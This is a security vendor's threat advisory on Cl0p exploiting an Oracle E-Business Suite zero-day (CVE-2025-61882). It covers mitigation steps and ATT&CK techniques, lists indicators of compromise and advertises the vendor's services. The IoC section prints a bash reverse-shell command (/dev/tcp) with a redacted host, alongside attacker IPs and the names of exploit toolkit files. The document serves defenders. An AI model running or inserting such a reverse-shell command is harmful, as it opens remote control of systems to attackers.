Oracle EBS Zero-Day - Cl0p Is Stealing ERP Data and Extorting Executives

Cl0p is exploiting a critical zero-day in Oracle E-Business Suite (CVE-2025-61882, CVSS 9.8) to steal ERP and back-office data, followed by executive extortion attempts.

The flaw allows unauthenticated remote code execution in EBS versions 12.2.3–12.2.14 and affects organizations heavily using the platform, especially in education and the public sector. Oracle has a patch that must be applied immediately.

Overview

A newly confirmed zero-day vulnerability in Oracle E-Business Suite (EBS), tracked as CVE-2025-61882 (CVSS 9.8), is being exploited in the wild by the Cl0p ransomware group. The vulnerability is in the BI Publisher Integration component within Concurrent Processing and allows unauthenticated remote code execution (RCE) over HTTP.

Cl0p exploited the vulnerability in August 2025 to steal data from organizations before Oracle issued patches. The group then began extortion campaigns against executives in late September, sending ransom emails from compromised accounts. The emails claimed data theft from Oracle EBS environments and demanded payment to prevent leaks.

The flaw affects Oracle E-Business Suite versions 12.2.3 through 12.2.14, a platform many education and public-sector organizations rely on to manage finance, HR, and other back-office operations. Many environments also integrate EBS with SharePoint and Microsoft Office systems, which expands the potential data exposure.

Oracle has released a patch and shared indicators of compromise (IoCs) for defenders to identify and contain activity. Organizations using affected EBS versions should assume potential compromise and patch immediately.

Aspire Protects

- **Patch** – Please see Oracle's security alert for patch guidance.
- Limit HTTP exposure to EBS admin and BI Publisher endpoints; use VPN or jump-host access only.
- Search EBS servers for web shells, unauthorized files, or unusual outbound HTTP/S traffic.
- Rotate credentials tied to EBS and its SharePoint/Office integrations.

TTPs to Watch

Initial Access

- Exploit Public-Facing Application [T1190] – Attacker may exploit the EBS BI Publisher HTTP endpoint for remote code execution.

Execution

- Command and Scripting Interpreter [T1059] – The attacker may execute bash or Python payloads post-exploitation.

Persistence

- Server Software Component: Web Shell [T1505.003] – Attacker may install a persistent web shell in the EBS application tier.

Exfiltration

- Exfiltration Over Web Services [T1041] – Attacker may steal ERP, HR, or finance data via HTTPS connections.

IoCs

IPs
- 200[.]107[.]207[.]26
- 185[.]181[.]60[.]11

Commands
- sh -c '/bin/bash -i >& /dev/tcp/<redacted_host>/<redacted_port> 0>&1'

File Hashes
- 76b6d36e04e367a2334c445b51e1ecce97e4c614e88dfb4f72b104ca0f31235d
- aa0d3859d6633b62bccfb69017d33a8979a3be1f3f0a5a4bf6960d6c73d41121
- 6fd538e4a8e3493dda6f9fcdc96e814bdd14f3e2ef8aa46f0143bff34b882c1b

Observed Artifacts
- oracle_ebs_nday_exploit_poc_scattered_lapsus_retard_cl0p_hunters.zip
- exp.py, server.py (part of leaked exploit toolkit seen on Telegram)

Targeted Industries

The Oracle EBS zero-day threatens any organization using the platform for ERP or back-office functions, but especially education and the public sector.

- Education
- Public Sector
- Finance
- Healthcare
- Legal
- Manufacturing
- Retail

Aspire Service Offerings

- **Aspire Managed XDR (MXDR)**
  - Aspire Managed XDR (MXDR) combines next-generation eXtended Detection and Response (XDR) technology, a 24x7 security operations center (SOC), and the expertise of a US-based team of security professionals to identify and respond to threats across a broader attack surface.
  - Building on the existing capabilities of Managed Detection and Response (MDR), Aspire Managed XDR integrates and correlates telemetry from endpoints, network, cloud, email, identity, and more. This advanced platform creates valuable context enabling end-to-end visibility across all threat vectors.
  - Experienced security analysts and incident responders deliver 24x7 threat detection, analysis, and investigations – with both automated and human-led response actions to quickly mitigate cyber attacks.
- **Aspire Incident Response**
  - The ability to respond effectively to data breaches is critical to every organization. When attacks occur, IT leaders need a process that will ultimately maintain business continuity, protect the company reputation, and avoid fines, legal fees, and remediation costs.
  - Aspire offers incident response services to help you prepare for, manage, and recover from data breaches and network attacks. An experienced team uses industry-leading threat intelligence and the most current security technology to quickly respond to attacks, reduce damage, and minimize exposure.

Supporting Documentation

Oracle Security Alerts CVE-2025-61882